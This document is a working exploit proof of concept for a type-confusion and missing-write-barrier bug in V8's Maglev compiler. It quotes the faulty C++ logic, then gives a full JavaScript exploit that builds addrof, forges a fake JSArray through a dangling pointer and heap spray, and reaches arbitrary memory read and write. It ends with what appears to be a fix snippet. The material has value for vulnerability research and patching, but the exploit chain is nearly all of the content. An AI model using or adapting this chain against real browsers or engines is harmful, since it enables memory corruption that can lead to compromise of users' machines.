ReduceResult MaglevGraphBuilder::BuildCheckSmi(ValueNode* object, ...) {
  ...
  // For constants, we may be able to skip the runtime check.
  if (std::optional<int32_t> constant_value = TryGetInt32Constant(object)) {
    if (Smi::IsValid(constant_value.value())) return object;   // ← elide CheckSmi
  }
  ...
}

std::optional<int32_t> MaglevReducer<BaseT>::TryGetInt32Constant(ValueNode* value) {
  switch (value->opcode()) {
    case Opcode::kConstant: {
      compiler::ObjectRef object = value->Cast<Constant>()->object();
      if (object.IsHeapNumber() &&
          IsInt32Double(object.AsHeapNumber().value())) {       // ← 5.0 → true
        return static_cast<int32_t>(object.AsHeapNumber().value());
      }
      ...
    }
    ...
  }
  if (auto c = TryGetConstantAlternative(value)) {
    return TryGetInt32Constant(*c);                             // ← recurse on checked_value
  }
  return {};
}

ReduceResult MaglevGraphBuilder::BuildCheckNumericalValue(...) {
  ...
    RETURN_IF_ABORT(
        AddNewNode<CheckFloat64SameValue>({node}, ref_value, reason));
  }

  reducer_.SetKnownValue(node, ref, NodeType::kNumber);          // ← here
  return ReduceResult::Done();
}

known_info->alternative().set_checked_value(GetConstant(ref));

ValueNode* value = GetAccumulator();                           // raw tagged
...
if (field_representation.IsSmi()) {
  RETURN_IF_ABORT(GetAccumulatorSmi(...));   // ← inserts CheckSmi (or tries to)
                                             //   result IGNORED — only the side
                                             //   effect (CheckSmi node) matters
}
...
if (field_representation.IsSmi()) {
  RETURN_IF_ABORT(BuildStoreTaggedFieldNoWriteBarrier(
      store_target, value, field_index.offset(), store_mode, name));
}

// Two triggers of the same bug:
//   #1: corrupt(obj, HN5,    true) — old→old, GC-safe, pure type confusion.
//       addrof(obj) → UnsafeSmiUntag → leaks HN5's compressed ptr.
//   #2: corrupt(obj, freshHN, true) — old→young, missing WB → dangling → fakeobj.
//
// Trigger #1 is allocation-free (HN5 exists, addrof returns Smi-range int,
// recovery is integer math) → young-gen bump pointer unchanged → freshHN lands
// at the same young-gen offset as the single-trigger version.
//
// No eval closures, no scan window, no hardcoded HN5 neighborhood. The only
// build-specific constant is JSARRAY_DBL_MAP (RO-root, run-stable, standard).
//
// Run: d8 poc.js

const JSARRAY_DBL_MAP = 0x0100d0d9;
const FAKE_LEN        = 0x100;
const WARMUP_N        = 30000;

let f64 = new Float64Array(1);
let u32 = new Uint32Array(f64.buffer);
function itof(lo, hi) { u32[0]=lo>>>0; u32[1]=hi>>>0; return f64[0]; }
function ftoi(d) { f64[0]=d; return [u32[0]>>>0, u32[1]>>>0]; }

const SPRAY_D = itof(FAKE_LEN << 1, JSARRAY_DBL_MAP);

// ─── Setup ───
let __f = new Float64Array(1); __f[0] = 5;
let HN5 = __f[0];
globalThis.G = HN5;

let obj = { smiField: 1 };
obj.smiField = 2; obj.smiField = 3;

// ─── Organic promotion ───
for (let i = 0; i < 400; i++) { new Array(10000).fill(1.1); }

// ─── Functions ───
function sh(o, x, c) { if (c) o.smiField = x; }
sh(obj, 5, true); sh(obj, 5, true); sh(obj, 5, true);

function corrupt(o, x, c) { G = x; sh(o, x, c); }

// addrof: Maglev trusts kSmi map → LoadTaggedField → UnsafeSmiUntag (no tag
// check) → Int32Add. `+7` survives identity-folding (+0, |0, *1 all fold).
// Recovery: ptr = ((r-7)<<1)|1.  HN5_ptr ≈ 0x012xxxxx → >>1 ≈ 9M → Smi-range.
function addrof(o) { return o.smiField + 7; }
addrof(obj); addrof(obj); addrof(obj);

// ─── Warmup: tier BOTH corrupt and addrof to Maglev ───
// addrof trained on Smi(5) → returns 12. Loop allocates nothing.
for (let i = 0; i < WARMUP_N; i++) {
  corrupt(obj, HN5, false);
  addrof(obj);
  if ((i & 15) === 0) sh(obj, 5, true);
}

// ─── Trigger #1: addrof(HN5) — ALLOCATION-FREE ───
// HN5 is old-gen, obj is old-gen → WriteBarrier::IsRequired = false. The
// missing WB is harmless here. Type confusion alone: CheckSmi elided, HN5's
// tagged ptr lands in the kSmi field, map unchanged. addrof's CheckMaps
// passes, UnsafeSmiUntag shifts the raw bits. No deopt — corrupt stays Maglev.
//
// NO IIFE: HN5 is already a tagged HN (script-scope let, loaded via context
// slot). OSR'd top-level passes it tagged — no __f[0]-style unboxing risk.
// IIFE would allocate a closure object (~28B young-gen) → shifts freshHN.
//
// NO PRINT: string concat + toString allocate. Defer all output.
//
// leaked ≈ (0x012xxxxx >> 1) + 7 ≈ 9M → Smi. Recovery math stays Smi-range.
// `let` slots pre-reserved in script context at parse — assignment is no-alloc.
corrupt(obj, HN5, true);
let leaked = addrof(obj);
let HN5_ADDR = (((leaked - 7) << 1) | 1) >>> 0;
obj.smiField = 5;          // reset: store IC sees kSmi map + Smi value → clean

// ─── Trigger #2: dangling ───
// freshHN is young-gen → old→young store, missing WB → no remembered-set entry.
(function(){ corrupt(obj, __f[0], true); })();

// ─── Stack scrub ───
(function r(n){return n>0?r(n-1)+n:0;})(400);

// ─── Spray (organic minor GCs mid-loop) ───
let pads = [];
for (let j = 0; j < 200; j++) {
  let a = new Array(1000);
  for (let i = 0; i < 1000; i++) a[i] = SPRAY_D;
  pads.push(a);
}

// ─── Verify fake JSArray ───
let fake = obj.smiField;
if (typeof fake === "number") {
  print("\n[fail] HN survived (typeof=number, val=" + fake + ")");
  throw "UAF didn't fire";
}
let len;
try { len = fake.length; } catch(e) {
  print("\n[fail] fake.length threw: " + e);
  throw "fake malformed";
}
print("\n[fake] typeof=" + typeof fake + " length=" + len + " (expect " + FAKE_LEN + ")");
if (len !== FAKE_LEN) {
  print("[fail] alignment/spray miss");
  throw "spray miss";
}
print("[fake] *** fake JSArray landed ***");

// ─── Initial read (elements still = JSARRAY_DBL_MAP) ───
let v_init = fake[0];
let [li,hi] = ftoi(v_init);
print("[read] fake[0] @ MAP+7 = " + v_init);
print("[read]   hex 0x" + hi.toString(16).padStart(8,'0') + "_" + li.toString(16).padStart(8,'0'));

// ─── Spray-scan: find length-controlling slot (uses fake.length only — no
// elements deref → safe in OSR'd code, no map check on elements) ───
const PROBE_D = itof(0x777 << 1, JSARRAY_DBL_MAP);
let fj=-1, fk=-1;
scan: for (let j = 0; j < 200; j++) {
  let a = pads[j];
  for (let k = 0; k < 1000; k++) {
    a[k] = PROBE_D;
    if (fake.length === 0x777) { fj=j; fk=k; a[k]=SPRAY_D; break scan; }
    a[k] = SPRAY_D;
  }
}
if (fj < 0) {
  print("\n[fail] scan miss — spray not writable at dangling");
  throw "scan miss";
}
print("[scan] *** pads[" + fj + "][" + fk + "] controls fake.length ***");

// ─── Retarget + arb R/W demo (IIFE → Ignition → no elements-map check) ───
// fake[0] reads 8B at elements_tagged + 7. HN.value at HN_tagged + 3.
// elements = HN5_ADDR - 4 → reads at HN5_ADDR + 3 = HN5.value.
//
// IIFE because optimized fake[0] (Maglev/TF) emits CheckMaps on fake.elements
// expecting FixedDoubleArray. elements is now HN5_ADDR-4 (a HeapNumber-ish
// region) → CHECK or deopt. Ignition's keyed-load IC trusts the receiver map,
// dereferences elements blindly. One call → cold → Ignition.
let _pad = pads[fj], _slot = fk-1;
let result = (function(){
  _pad[_slot] = itof(FAKE_LEN<<1, (HN5_ADDR - 4) >>> 0);
  let v = fake[0];
  if (v !== 5) return v;        // wrong addr or HN5 moved (major GC)
  fake[0] = 1337.42;
  return v;
})();

if (result !== 5) {
  print("\n[fail] read at leaked addr = " + result + " (expected 5)");
  print("       HN5_ADDR stale? major GC moved HN5 between leak and now?");
  throw "addr stale";
}

let hn5_now = HN5 + 0;
// (deferred from trigger #1 — printing there would have allocated strings
// in young-gen before freshHN, shifting its alignment)
print("\n[addrof] leaked raw = " + leaked + " (12 would mean bug didn't fire)");
print("[addrof] HN5_ADDR   = 0x" + HN5_ADDR.toString(16) + " (UnsafeSmiUntag, no scan)");
print("\n[!!!] ARBITRARY READ:  fake[0] @ leaked 0x" + HN5_ADDR.toString(16) + " = 5.0");
print("[!!!] ARBITRARY WRITE: fake[0] = 1337.42 → HN5+0 = " + hn5_now);
print("[!!!]   v_init (Map bytes @ 0x" + JSARRAY_DBL_MAP.toString(16) + "+7) = " + v_init);
print("[!!!]   HN5+0  (after write, independent JS read)            = " + hn5_now);

if (hn5_now === 1337.42) {
  print("  *** ARB R/W achieved ***");
}

if (IsConstantNode(object->opcode())) {
  if (std::optional<int32_t> c = TryGetInt32Constant(object)) {
    if (Smi::IsValid(c.value())) return object;
  }
}